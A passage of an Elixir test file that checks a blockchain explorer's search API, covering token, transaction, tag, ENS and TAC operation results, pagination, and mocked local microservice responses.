response_2["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_3 = json_response(request_3, 200) + + assert Enum.count(response_3["items"]) == 50 + assert response_3["next_page_params"] != nil + assert Enum.at(response_3["items"], 0)["type"] == "token" + assert Enum.at(response_3["items"], 1)["type"] == "token" + assert Enum.at(response_3["items"], 2)["type"] == "contract" + assert Enum.at(response_3["items"], 49)["type"] == "contract" + + request_4 = get(conn, "/api/v2/search", response_3["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_4 = json_response(request_4, 200) + + assert Enum.count(response_4["items"]) == 3 + assert response_4["next_page_params"] == nil + assert Enum.all?(response_4["items"], fn x -> x["type"] == "contract" end) + + labels_from_api = response["items"] ++ [Enum.at(response_2["items"], 0)] + + assert labels + |> Enum.zip(labels_from_api) + |> Enum.all?(fn {label, item} -> + label.tag.display_name == item["name"] && item["type"] == "label" && + item["address_hash"] == Address.checksum(label.address_hash) + end) + + tokens_from_api = Enum.slice(response_2["items"], 1, 49) ++ Enum.slice(response_3["items"], 0, 2) + + assert tokens + |> Enum.zip(tokens_from_api) + |> Enum.all?(fn {token, item} -> + token.name == item["name"] && item["type"] == "token" && + item["address_hash"] == Address.checksum(token.contract_address_hash) + end) + + contracts_from_api = Enum.slice(response_3["items"], 2, 48) ++ response_4["items"] + + assert contracts + |> Enum.zip(contracts_from_api) + |> Enum.all?(fn {contract, item} -> + contract.name == item["name"] && item["type"] == "contract" && + item["address_hash"] == Address.checksum(contract.address_hash) + end) + end + + test "search token", %{conn: conn} do + token = insert(:unique_token) + + request = get(conn, "/api/v2/search?q=#{token.name}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + item = Enum.at(response["items"], 0) + + assert item["type"] == "token" + assert item["name"] == token.name + assert item["symbol"] == token.symbol + assert item["address_hash"] == Address.checksum(token.contract_address_hash) + assert item["token_url"] =~ Address.checksum(token.contract_address_hash) + assert item["address_url"] =~ Address.checksum(token.contract_address_hash) + assert item["token_type"] == token.type + assert item["is_smart_contract_verified"] == token.contract_address.verified + assert item["exchange_rate"] == (token.fiat_value && to_string(token.fiat_value)) + assert item["total_supply"] == to_string(token.total_supply) + assert item["icon_url"] == token.icon_url + assert item["is_verified_via_admin_panel"] == token.is_verified_via_admin_panel + end + + test "search token by hash", %{conn: conn} do + token = insert(:unique_token) + + request = get(conn, "/api/v2/search?q=#{token.contract_address_hash}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 2 + assert response["next_page_params"] == nil + + item = Enum.at(response["items"], 0) + + assert item["type"] == "token" + assert item["name"] == token.name + assert item["symbol"] == token.symbol + assert item["address_hash"] == Address.checksum(token.contract_address_hash) + assert item["token_url"] =~ Address.checksum(token.contract_address_hash) + assert item["address_url"] =~ Address.checksum(token.contract_address_hash) + assert item["token_type"] == token.type + assert item["is_smart_contract_verified"] == token.contract_address.verified + assert item["exchange_rate"] == (token.fiat_value && to_string(token.fiat_value)) + assert item["total_supply"] == to_string(token.total_supply) + assert item["icon_url"] == token.icon_url + assert item["is_verified_via_admin_panel"] == token.is_verified_via_admin_panel + + item_1 = Enum.at(response["items"], 1) + + assert item_1["type"] == "address" + end + + test "search transaction", %{conn: conn} do + transaction = insert(:transaction, block_timestamp: nil) + + request = get(conn, "/api/v2/search?q=#{transaction.hash}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + item = Enum.at(response["items"], 0) + + assert item["type"] == "transaction" + assert item["transaction_hash"] == to_string(transaction.hash) + assert item["url"] =~ to_string(transaction.hash) + assert item["timestamp"] == nil + end + + test "search transaction with timestamp", %{conn: conn} do + transaction = :transaction |> insert() + block = insert(:block, hash: transaction.hash) + transaction |> with_block(block) + + request = get(conn, "/api/v2/search?q=#{transaction.hash}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 2 + assert response["next_page_params"] == nil + + transaction_item = Enum.find(response["items"], fn x -> x["type"] == "transaction" end) + + assert transaction_item["type"] == "transaction" + assert transaction_item["transaction_hash"] == to_string(transaction.hash) + assert transaction_item["url"] =~ to_string(transaction.hash) + + assert transaction_item["timestamp"] == + block.timestamp |> to_string() |> String.replace(" ", "T") + + block_item = Enum.find(response["items"], fn x -> x["type"] == "block" end) + assert block_item["type"] == "block" + assert block_item["block_hash"] == to_string(block.hash) + assert block_item["url"] =~ to_string(block.hash) + assert transaction_item["timestamp"] == block_item["timestamp"] + end + + test "search tags", %{conn: conn} do + tag = insert(:address_to_tag) + + request = get(conn, "/api/v2/search?q=#{tag.tag.display_name}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + item = Enum.at(response["items"], 0) + + assert item["type"] == "label" + assert item["address_hash"] == Address.checksum(tag.address.hash) + assert item["name"] == tag.tag.display_name + assert item["url"] =~ Address.checksum(tag.address.hash) + assert item["is_smart_contract_verified"] == tag.address.verified + end + + test "check that simultaneous search of ", %{conn: conn} do + block = insert(:block, number: 10000) + + insert(:smart_contract, name: to_string(block.number)) + insert(:token, name: to_string(block.number)) + + insert(:address_to_tag, + tag: %AddressTag{ + label: "qwerty", + display_name: to_string(block.number) + } + ) + + request = get(conn, "/api/v2/search?q=#{block.number}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 4 + assert response["next_page_params"] == nil + end + + test "search for a big positive integer", %{conn: conn} do + big_integer = :math.pow(2, 64) |> round |> :erlang.integer_to_binary() + request = get(conn, "/api/v2/search?q=#{big_integer}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 0 + assert response["next_page_params"] == nil + end + + test "search for a big negative integer", %{conn: conn} do + big_integer = (:math.pow(2, 64) - 1) |> round |> :erlang.integer_to_binary() + request = get(conn, "/api/v2/search?q=#{big_integer}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 0 + assert response["next_page_params"] == nil + end + + test "check pagination #3 (ens and metadata tags added)", %{conn: conn} do + bypass = Bypass.open() + metadata_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.Metadata) + bens_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.BENS) + old_chain_id = Application.get_env(:block_scout_web, :chain_id) + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + chain_id = 1 + Application.put_env(:block_scout_web, :chain_id, chain_id) + old_hide_scam_addresses = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.Metadata, metadata_envs) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.BENS, bens_envs) + Application.put_env(:block_scout_web, :chain_id, old_chain_id) + Application.put_env(:block_scout_web, :hide_scam_addresses, old_hide_scam_addresses) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.Metadata, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.BENS, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + name = "contract.eth" + + contracts = + for(i <- 0..50, do: insert(:smart_contract, name: "#{name |> String.replace(".", " ")} #{i}")) + |> Enum.sort_by(fn x -> x.name end) + + tokens = + for i <- 0..50, + do: insert(:token, name: "#{name |> String.replace(".", " ")} #{i}", fiat_value: 10000 - i, holder_count: 0) + + labels = + for( + i <- 0..50, + do: + insert(:address_to_tag, tag: build(:address_tag, display_name: "#{name |> String.replace(".", " ")} #{i}")) + ) + |> Enum.sort_by(fn x -> x.tag.display_name end) + + address_1 = insert(:address) + address_2 = insert(:address) + address_3 = build(:address) + address_4 = build(:address) + address_5 = insert(:address) + + metadata_response_1 = + %{ + "items" => + for( + i <- 0..24, + do: %{ + "tag" => %{ + "slug" => "#{name} #{i}", + "name" => "#{name} #{i}", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_1) + ] + } + ) ++ + for( + i <- 0..23, + do: %{ + "tag" => %{ + "slug" => "#{name} #{25 + i}", + "name" => "#{name} #{25 + i}", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_2) + ] + } + ) ++ + [ + %{ + "tag" => %{ + "slug" => "#{name} 49", + "name" => "#{name} 49", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_3), + to_string(address_4) + ] + } + ], + "next_page_params" => %{ + "page_token" => "0,celo:_eth_helper,name", + "page_size" => 50 + } + } + + metadata_response_2 = %{ + "items" => + for( + i <- 22..23, + do: %{ + "tag" => %{ + "slug" => "#{name} #{25 + i}", + "name" => "#{name} #{25 + i}", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_2) + ] + } + ) ++ + [ + %{ + "tag" => %{ + "slug" => "#{name} 49", + "name" => "#{name} 49", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_3), + to_string(address_4) + ] + } + ] ++ + [ + %{ + "tag" => %{ + "slug" => "#{name} 0", + "name" => "#{name} 0", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_5) + ] + } + ], + "next_page_params" => nil + } + + page_token_1 = "0,#{name} #{47},name" + + Bypass.expect( + bypass, + "GET", + "/api/v1/tags%3Asearch", + fn conn -> + assert conn.params["name"] == name + + case conn.params["page_token"] do + nil -> Plug.Conn.resp(conn, 200, Jason.encode!(metadata_response_1)) + ^page_token_1 -> Plug.Conn.resp(conn, 200, Jason.encode!(metadata_response_2)) + _ -> raise "Unexpected page_token" + end + end + ) + + ens_address = insert(:address) + + ens_response = """ + { + "items": [ + { + "id": "0xee6c4522aab0003e8d14cd40a6af439055fd2577951148c14b6cea9a53475835", + "name": "#{name}", + "resolved_address": { + "hash": "#{to_string(ens_address)}" + }, + "owner": { + "hash": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045" + }, + "wrapped_owner": null, + "registration_date": "2017-06-18T08:39:14.000Z", + "expiry_date": null, + "protocol": { + "id": "ens", + "short_name": "ENS", + "title": "Ethereum Name Service", + "description": "The Ethereum Name Service (ENS) is a distributed, open, and extensible naming system based on the Ethereum blockchain.", + "deployment_blockscout_base_url": "https://eth.blockscout.com/", + "tld_list": [ + "eth" + ], + "icon_url": "https://i.imgur.com/GOfUwCb.jpeg", + "docs_url": "https://docs.ens.domains/" + } + } + ], + "next_page_params": null + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/1/domains%3Alookup", + fn conn -> + assert conn.params["name"] == name + + Plug.Conn.resp(conn, 200, ens_response) + end + ) + + request = get(conn, "/api/v2/search?q=#{name}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + assert Enum.at(response["items"], 0)["type"] == "ens_domain" + assert Enum.slice(response["items"], 1, 49) |> Enum.all?(fn x -> x["type"] == "label" end) + + request_2 = get(conn, "/api/v2/search", response["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_2 = json_response(request_2, 200) + + assert Enum.count(response_2["items"]) == 50 + assert response_2["next_page_params"] != nil + assert Enum.at(response_2["items"], 0)["type"] == "label" + assert Enum.at(response_2["items"], 1)["type"] == "label" + assert Enum.slice(response_2["items"], 2, 48) |> Enum.all?(fn x -> x["type"] == "token" end) + + request_3 = get(conn, "/api/v2/search", response_2["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_3 = json_response(request_3, 200) + + assert Enum.count(response_3["items"]) == 50 + assert response_3["next_page_params"] != nil + + assert Enum.slice(response_3["items"], 0, 3) |> Enum.all?(fn x -> x["type"] == "token" end) + assert Enum.slice(response_3["items"], 3, 47) |> Enum.all?(fn x -> x["type"] == "metadata_tag" end) + + request_4 = get(conn, "/api/v2/search", response_3["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_4 = json_response(request_4, 200) + + assert Enum.count(response_4["items"]) == 50 + assert response_4["next_page_params"] != nil + + assert Enum.slice(response_4["items"], 0, 5) |> Enum.all?(fn x -> x["type"] == "metadata_tag" end) + assert Enum.slice(response_4["items"], 5, 45) |> Enum.all?(fn x -> x["type"] == "contract" end) + + request_5 = get(conn, "/api/v2/search", response_4["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_5 = json_response(request_5, 200) + + assert Enum.count(response_5["items"]) == 6 + assert response_5["next_page_params"] == nil + + assert Enum.all?(response_5["items"], fn x -> x["type"] == "contract" end) + + labels_from_api = Enum.slice(response["items"], 1, 49) ++ Enum.slice(response_2["items"], 0, 2) + + assert labels + |> Enum.zip(labels_from_api) + |> Enum.all?(fn {label, item} -> + label.tag.display_name == item["name"] && item["type"] == "label" && + item["address_hash"] == Address.checksum(label.address_hash) + end) + + tokens_from_api = Enum.slice(response_2["items"], 2, 48) ++ Enum.slice(response_3["items"], 0, 3) + + assert tokens + |> Enum.zip(tokens_from_api) + |> Enum.all?(fn {token, item} -> + token.name == item["name"] && item["type"] == "token" && + item["address_hash"] == Address.checksum(token.contract_address_hash) + end) + + contracts_from_api = Enum.slice(response_4["items"], 5, 45) ++ response_5["items"] + + assert contracts + |> Enum.zip(contracts_from_api) + |> Enum.all?(fn {contract, item} -> + contract.name == item["name"] && item["type"] == "contract" && + item["address_hash"] == Address.checksum(contract.address_hash) + end) + + metadata_tags_from_api = Enum.slice(response_3["items"], 3, 47) ++ Enum.slice(response_4["items"], 0, 5) + + metadata_tags = + ((metadata_response_1["items"] |> Enum.drop(-3)) ++ metadata_response_2["items"]) + |> Enum.reduce([], fn x, acc -> + acc ++ + Enum.map(x["addresses"], fn addr -> + {addr, x["tag"]} + end) + end) + + assert metadata_tags + |> Enum.zip(metadata_tags_from_api) + |> Enum.all?(fn {{address_hash, tag}, api_item} -> + tag["name"] == api_item["metadata"]["name"] && tag["slug"] == api_item["metadata"]["slug"] && + api_item["type"] == "metadata_tag" && + api_item["address_hash"] == address_hash + end) + + ens = Enum.at(response["items"], 0) + assert ens["address_hash"] == to_string(ens_address) + assert ens["ens_info"]["name"] == name + end + + test "check pagination #4 (ens and metadata tags (complex case) added)", %{conn: conn} do + bypass = Bypass.open() + metadata_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.Metadata) + bens_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.BENS) + old_chain_id = Application.get_env(:block_scout_web, :chain_id) + chain_id = 1 + Application.put_env(:block_scout_web, :chain_id, chain_id) + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.Metadata, metadata_envs) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.BENS, bens_envs) + Application.put_env(:block_scout_web, :chain_id, old_chain_id) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.Metadata, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.BENS, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + name = "contract.eth" + + contracts = + for(i <- 0..50, do: insert(:smart_contract, name: "#{name |> String.replace(".", " ")} #{i}")) + |> Enum.sort_by(fn x -> x.name end) + + tokens = + for i <- 0..50, + do: insert(:token, name: "#{name |> String.replace(".", " ")} #{i}", fiat_value: 10000 - i, holder_count: 0) + + labels = + for( + i <- 0..50, + do: + insert(:address_to_tag, tag: build(:address_tag, display_name: "#{name |> String.replace(".", " ")} #{i}")) + ) + |> Enum.sort_by(fn x -> x.tag.display_name end) + + address_1 = insert(:address) + address_2 = insert(:address) + address_3 = build(:address) + address_4 = build(:address) + address_5 = insert(:address) + + metadata_response_1 = + %{ + "items" => + for( + i <- 0..24, + do: %{ + "tag" => %{ + "slug" => "#{name} #{i}", + "name" => "#{name} #{i}", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_1) + ] + } + ) ++ + for( + i <- 0..20, + do: %{ + "tag" => %{ + "slug" => "#{name} #{25 + i}", + "name" => "#{name} #{25 + i}", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_2) + ] + } + ) ++ + [ + %{ + "tag" => %{ + "slug" => "#{name} #{25 + 21}", + "name" => "#{name} #{25 + 21}", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_2), + to_string(address_3) + ] + } + ] ++ + for( + i <- 22..23, + do: %{ + "tag" => %{ + "slug" => "#{name} #{25 + i}", + "name" => "#{name} #{25 + i}", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_2) + ] + } + ) ++ + [ + %{ + "tag" => %{ + "slug" => "#{name} 49", + "name" => "#{name} 49", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_4) + ] + } + ], + "next_page_params" => %{ + "page_token" => "0,celo:_eth_helper,name", + "page_size" => 50 + } + } + + metadata_response_2 = %{ + "items" => + [ + %{ + "tag" => %{ + "slug" => "#{name} #{25 + 21}", + "name" => "#{name} #{25 + 21}", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_2), + to_string(address_3) + ] + } + ] ++ + for( + i <- 22..23, + do: %{ + "tag" => %{ + "slug" => "#{name} #{25 + i}", + "name" => "#{name} #{25 + i}", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_2) + ] + } + ) ++ + [ + %{ + "tag" => %{ + "slug" => "#{name} 49", + "name" => "#{name} 49", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_4) + ] + } + ] ++ + [ + %{ + "tag" => %{ + "slug" => "#{name} 0", + "name" => "#{name} 0", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_5) + ] + } + ], + "next_page_params" => nil + } + + page_token_1 = "0,#{name} #{46},name" + + Bypass.expect( + bypass, + "GET", + "/api/v1/tags%3Asearch", + fn conn -> + assert conn.params["name"] == name + + case conn.params["page_token"] do + nil -> Plug.Conn.resp(conn, 200, Jason.encode!(metadata_response_1)) + ^page_token_1 -> Plug.Conn.resp(conn, 200, Jason.encode!(metadata_response_2)) + _ -> raise "Unexpected page_token" + end + end + ) + + ens_address = insert(:address) + + ens_response = """ + { + "items": [ + { + "id": "0xee6c4522aab0003e8d14cd40a6af439055fd2577951148c14b6cea9a53475835", + "name": "#{name}", + "resolved_address": { + "hash": "#{to_string(ens_address)}" + }, + "owner": { + "hash": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045" + }, + "wrapped_owner": null, + "registration_date": "2017-06-18T08:39:14.000Z", + "expiry_date": null, + "protocol": { + "id": "ens", + "short_name": "ENS", + "title": "Ethereum Name Service", + "description": "The Ethereum Name Service (ENS) is a distributed, open, and extensible naming system based on the Ethereum blockchain.", + "deployment_blockscout_base_url": "https://eth.blockscout.com/", + "tld_list": [ + "eth" + ], + "icon_url": "https://i.imgur.com/GOfUwCb.jpeg", + "docs_url": "https://docs.ens.domains/" + } + } + ], + "next_page_params": null + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/1/domains%3Alookup", + fn conn -> + assert conn.params["name"] == name + + Plug.Conn.resp(conn, 200, ens_response) + end + ) + + request = get(conn, "/api/v2/search?q=#{name}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + assert Enum.at(response["items"], 0)["type"] == "ens_domain" + assert Enum.slice(response["items"], 1, 49) |> Enum.all?(fn x -> x["type"] == "label" end) + + request_2 = get(conn, "/api/v2/search", response["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_2 = json_response(request_2, 200) + + assert Enum.count(response_2["items"]) == 50 + assert response_2["next_page_params"] != nil + assert Enum.at(response_2["items"], 0)["type"] == "label" + assert Enum.at(response_2["items"], 1)["type"] == "label" + assert Enum.slice(response_2["items"], 2, 48) |> Enum.all?(fn x -> x["type"] == "token" end) + + request_3 = get(conn, "/api/v2/search", response_2["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_3 = json_response(request_3, 200) + + assert Enum.count(response_3["items"]) == 50 + assert response_3["next_page_params"] != nil + + assert Enum.slice(response_3["items"], 0, 3) |> Enum.all?(fn x -> x["type"] == "token" end) + assert Enum.slice(response_3["items"], 3, 47) |> Enum.all?(fn x -> x["type"] == "metadata_tag" end) + + request_4 = get(conn, "/api/v2/search", response_3["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_4 = json_response(request_4, 200) + + assert Enum.count(response_4["items"]) == 50 + assert response_4["next_page_params"] != nil + + assert Enum.slice(response_4["items"], 0, 5) |> Enum.all?(fn x -> x["type"] == "metadata_tag" end) + assert Enum.slice(response_4["items"], 5, 45) |> Enum.all?(fn x -> x["type"] == "contract" end) + + request_5 = get(conn, "/api/v2/search", response_4["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_5 = json_response(request_5, 200) + + assert Enum.count(response_5["items"]) == 6 + assert response_5["next_page_params"] == nil + + assert Enum.all?(response_5["items"], fn x -> x["type"] == "contract" end) + + labels_from_api = Enum.slice(response["items"], 1, 49) ++ Enum.slice(response_2["items"], 0, 2) + + assert labels + |> Enum.zip(labels_from_api) + |> Enum.all?(fn {label, item} -> + label.tag.display_name == item["name"] && item["type"] == "label" && + item["address_hash"] == Address.checksum(label.address_hash) + end) + + tokens_from_api = Enum.slice(response_2["items"], 2, 48) ++ Enum.slice(response_3["items"], 0, 3) + + assert tokens + |> Enum.zip(tokens_from_api) + |> Enum.all?(fn {token, item} -> + token.name == item["name"] && item["type"] == "token" && + item["address_hash"] == Address.checksum(token.contract_address_hash) + end) + + contracts_from_api = Enum.slice(response_4["items"], 5, 45) ++ response_5["items"] + + assert contracts + |> Enum.zip(contracts_from_api) + |> Enum.all?(fn {contract, item} -> + contract.name == item["name"] && item["type"] == "contract" && + item["address_hash"] == Address.checksum(contract.address_hash) + end) + + metadata_tags_from_api = Enum.slice(response_3["items"], 3, 47) ++ Enum.slice(response_4["items"], 0, 5) + + metadata_tags = + ((metadata_response_1["items"] |> Enum.drop(-4)) ++ metadata_response_2["items"]) + |> Enum.reduce([], fn x, acc -> + acc ++ + Enum.map(x["addresses"], fn addr -> + {addr, x["tag"]} + end) + end) + + assert metadata_tags + |> Enum.zip(metadata_tags_from_api) + |> Enum.all?(fn {{address_hash, tag}, api_item} -> + tag["name"] == api_item["metadata"]["name"] && tag["slug"] == api_item["metadata"]["slug"] && + api_item["type"] == "metadata_tag" && + api_item["address_hash"] == address_hash + end) + + ens = Enum.at(response["items"], 0) + assert ens["address_hash"] == to_string(ens_address) + assert ens["ens_info"]["name"] == name + end + + if @chain_type == :default do + test "finds a TAC operation", %{conn: conn} do + bypass = Bypass.open() + tac_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, tac_envs) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + operation_id = "0xd06b6d3dbefcd1e4a5bb5806d0fdad87ae963bcc7d48d9a39ed361167958c09b" + + tac_response = """ + { + "items": [ + { + "operation_id": "#{operation_id}", + "sender": null, + "timestamp": "2025-05-14T19:16:38.000Z", + "type": "TON_TAC_TON" + } + ], + "next_page_params": null + } + """ + + Bypass.expect_once( + bypass, + "GET", + "/api/v1/tac/operations", + fn conn -> + assert conn.params["q"] == operation_id + Plug.Conn.resp(conn, 200, tac_response) + end + ) + + request = get(conn, "/api/v2/search?q=#{operation_id}") + + assert %{ + "items" => [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => operation_id, + "sender" => nil, + "timestamp" => "2025-05-14T19:16:38.000Z", + "type" => "TON_TAC_TON" + }, + "type" => "tac_operation" + } + ], + "next_page_params" => nil + } == json_response(request, 200) + end + + test "handles no results from TAC microservice", %{conn: conn} do + bypass = Bypass.open() + tac_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, tac_envs) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + operation_id = "0xd06b6d3dbefcd1e4a5bb5806d0fdad87ae963bcc7d48d9a39ed361167958c09b" + + tac_response = """ + { + "items": [], + "next_page_params": null + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/tac/operations", + fn conn -> + assert conn.params["q"] == operation_id + Plug.Conn.resp(conn, 200, tac_response) + end + ) + + request = get(conn, "/api/v2/search?q=#{operation_id}") + + assert %{ + "items" => [], + "next_page_params" => nil + } == json_response(request, 200) + end + + test "finds a TAC operation with transaction", %{conn: conn} do + bypass = Bypass.open() + tac_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, tac_envs) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + transaction = insert(:transaction) |> with_block() + + operation_id = "#{transaction.hash}" + + tac_response = """ + { + "items": [ + { + "operation_id": "#{operation_id}", + "sender": null, + "timestamp": "2025-05-14T19:16:38.000Z", + "type": "TON_TAC_TON" + } + ], + "next_page_params": null + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/tac/operations", + fn conn -> + assert conn.params["q"] == operation_id + Plug.Conn.resp(conn, 200, tac_response) + end + ) + + request = get(conn, "/api/v2/search?q=#{operation_id}") + assert response = json_response(request, 200) + + # tl to check order + assert %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => operation_id, + "sender" => nil, + "timestamp" => "2025-05-14T19:16:38.000Z", + "type" => "TON_TAC_TON" + }, + "type" => "tac_operation" + } in tl(response["items"]) + + assert %{ + "priority" => 0, + "transaction_hash" => "#{transaction.hash}", + "type" => "transaction", + "timestamp" => "#{transaction.block_timestamp}" |> String.replace(" ", "T"), + "url" => "/tx/#{transaction.hash}" + } in response["items"] + end + + test "finds a TAC operation with block", %{conn: conn} do + bypass = Bypass.open() + tac_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, tac_envs) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + transaction = insert(:transaction) |> with_block() + + operation_id = "#{transaction.block_hash}" + + tac_response = """ + { + "items": [ + { + "operation_id": "#{operation_id}", + "sender": null, + "timestamp": "2025-05-14T19:16:38.000Z", + "type": "TON_TAC_TON" + } + ], + "next_page_params": null + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/tac/operations", + fn conn -> + assert conn.params["q"] == operation_id + Plug.Conn.resp(conn, 200, tac_response) + end + ) + + request = get(conn, "/api/v2/search?q=#{operation_id}") + assert response = json_response(request, 200) + + # tl to check order + assert %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => operation_id, + "sender" => nil, + "timestamp" => "2025-05-14T19:16:38.000Z", + "type" => "TON_TAC_TON" + }, + "type" => "tac_operation" + } in tl(response["items"]) + + assert %{ + "block_hash" => "#{transaction.block_hash}", + "block_number" => transaction.block_number, + "block_type" => "block", + "priority" => 3, + "type" => "block", + "timestamp" => "#{transaction.block_timestamp}" |> String.replace(" ", "T"), + "url" => "/block/#{transaction.block_hash}" + } in response["items"] + end + + test "finds TAC operations by sender and paginates", %{conn: conn} do + bypass = Bypass.open() + tac_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, tac_envs) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + address_hash = Address.checksum(insert(:address).hash) + operation_id = "0x07d74803dd6fd1a684b50494c09e366f3a6be20cd09928ebdf80d178ce41b5a2" + + tac_first_response = """ + { + "items": [ + #{for i <- 10..59, do: """ + { + "operation_id": "#{operation_id}", + "sender": "#{address_hash}", + "timestamp": "2025-05-14T19:16:#{i}.000Z", + "type": "TON_TAC_TON" + }#{if 